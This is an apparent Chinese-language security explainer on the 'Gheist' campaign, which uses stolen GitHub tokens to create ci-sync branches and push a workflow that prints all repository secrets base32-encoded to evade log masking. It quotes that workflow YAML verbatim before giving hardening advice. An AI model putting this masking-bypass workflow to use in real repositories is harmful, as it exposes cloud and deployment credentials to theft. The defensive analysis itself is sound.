No. 10 5 分钟阅读
黑客如何黑吃黑?从“Gheist”事件看 GitHub Token 泄露
前言:在当今软件开发中,GitHub Actions 等 CI/CD 自动化流水线已成为开发者的“标准配备”。然而,如果你的 GitHub Token(个人访问令牌)不幸泄露,黑客能搞出多大的动静?
最近,安全机构 Wiz Research 曝光了一个名为 “Gheist” 的自动化黑客攻击项目,专门利用被盗的 GitHub 凭证发起大规模、自动化的凭证“大劫案”。本文将用通俗易懂的语言,为你揭开这次攻击的运作内幕与应对之道。
什么是 Gheist?
简而言之,Gheist 是一种专门针对 GitHub 账号的“无主式(C2-less)”自动化攻击脚本。
以往的黑客软件需要连接后台的控制服务器(C2)来接收指令,但 Gheist 极其“聪明”,它完全不需要后端服务器。一旦拿到一个被盗的 GitHub Token,它就会像病毒一样在 GitHub 内部依靠平台自带的功能自发扩散和提取信息。
动画拆解:黑客的“偷梁换柱”三步走
┌─────────────────┐ 1. 植入恶意工作流 ┌────────────────────────┐
│ 被盗的个人 ├──────────────────────────►│ 创建 `ci-sync-xxxx` │
│ GitHub Token │ │ 分支与工作流文件 │
└─────────────────┘ └───────────┬────────────┘
│
│ 2. 绕过脱敏与提取
▼
┌─────────────────┐ 3. 批量盗取云凭证 ┌────────────────────────┐
│ AWS / Azure │◄──────────────────────────┤ Base32 编码绕过脱敏, │
│ 等云端数据库 │ │ 日志明文打印 Secrets │
└─────────────────┘ └────────────────────────┘
第一步:偷偷创建“地下分支”
拿到 Token 后,Gheist 会遍历该账号能访问的所有公开和私有仓库,自动新建一个看起来很正规的分支(例如 ci-sync-a1b2c3),并在其中提交一个名为 .github/workflows/sync-check.yml 的 CI/CD 自动化脚本。
攻击如何运作?
对于每个存储库,该工具创建一个名为加上ci-sync-六个随机字符的分支,然后使用.github/workflows/sync-check.yml消息提交ci: sync config。 该提交未签名,并以令牌所有者的身份进行创作。 推送事件触发工作流程:
name: sync-check
on: [push]
permissions: {}
jobs:
sync:
runs-on: ubuntu-latest
timeout-minutes: 6
steps:
- name: build
run: |
env | base32 -w 120
echo -n '${{ toJSON(secrets) }}' | base32 -w 120第二步:利用“密码学障眼法”绕过安全掩码
GitHub Actions 自带保护机制(Secret Masking),如果在日志里检测到数据库密码、云厂商 API Key 等敏感信息,会自动把它们打上 *** 遮罩。
然而,Gheist 巧妙地利用了Base32 编码。它把捕获到的 Secrets 先转码,再打印在 CI 运行日志中。GitHub 的脱敏检测机制因此被成功绕过,黑客随后就能直接从公开的日志里拿到明文密钥!
第三步:榨干所有“部署环境”
为了拿到最高权限,Gheist 会把目标仓库中配置的所有“部署环境”(如 Production 生产环境、Staging 测试环境)全部遍历一遍,强行拉取并解密这些受保护环境里的凭证。
黑产的大熔炉:一个 Token 的“一鱼多吃”
Wiz 团队在研究中发现了一个令人警醒的现象:失陷的 GitHub Token 在黑产圈是被频繁二手转卖、反复利用的“公共资源”。
在遭遇 Gheist 攻击的账户中,研究人员还发现了其他黑客团伙留下的痕迹:
- 白嫖算力挖矿:有人用这个账号创建虚拟机来挖加密货币。
- 挂羊头卖狗肉:有人用这个账号上传盗版/破解软件吸引普通用户下载,进而传播木马。
- 高级供应链攻击:还有国家级 APT 组织利用该凭证在前端项目(如
vite.config.js)里静默植入后门。
这就像是你家大门的钥匙掉在路上,被不同的贼捡到:第一个贼进屋搬走了电视(挖矿),第二个贼在墙上贴了小广告(钓鱼),第三个贼则悄悄在床下装了窃听器(供应链攻击)。
开发者如何防护?(硬化建议)
面对这种“自动化、流水线化”的凭据攻击,开发团队和个人应该如何防范?
- 废除长效 PAT(个人访问令牌):
- 尽早转向使用 GitHub 推荐的 Fine-grained PATs(细粒度令牌) 或 OIDC(OpenID Connect)。限制 Token 的权限范围与有效期限。
- 严格管控 CI/CD Secrets 权限:
- 生产环境的凭证(Production Secrets)严禁无条件暴露给任何分支或 Pull Request。必须开启“需要手动审批”机制。
- 警惕未知分支与自托管节点:
- 随时监控仓库中突发的新分支(如
ci-sync-*)或未知.github/workflows/改动。 - 如果可疑的工作流在你的**自托管服务器(Self-hosted Runner)**上运行过,请立即重置该服务器并重新轮换所有关联密钥!
- 随时监控仓库中突发的新分支(如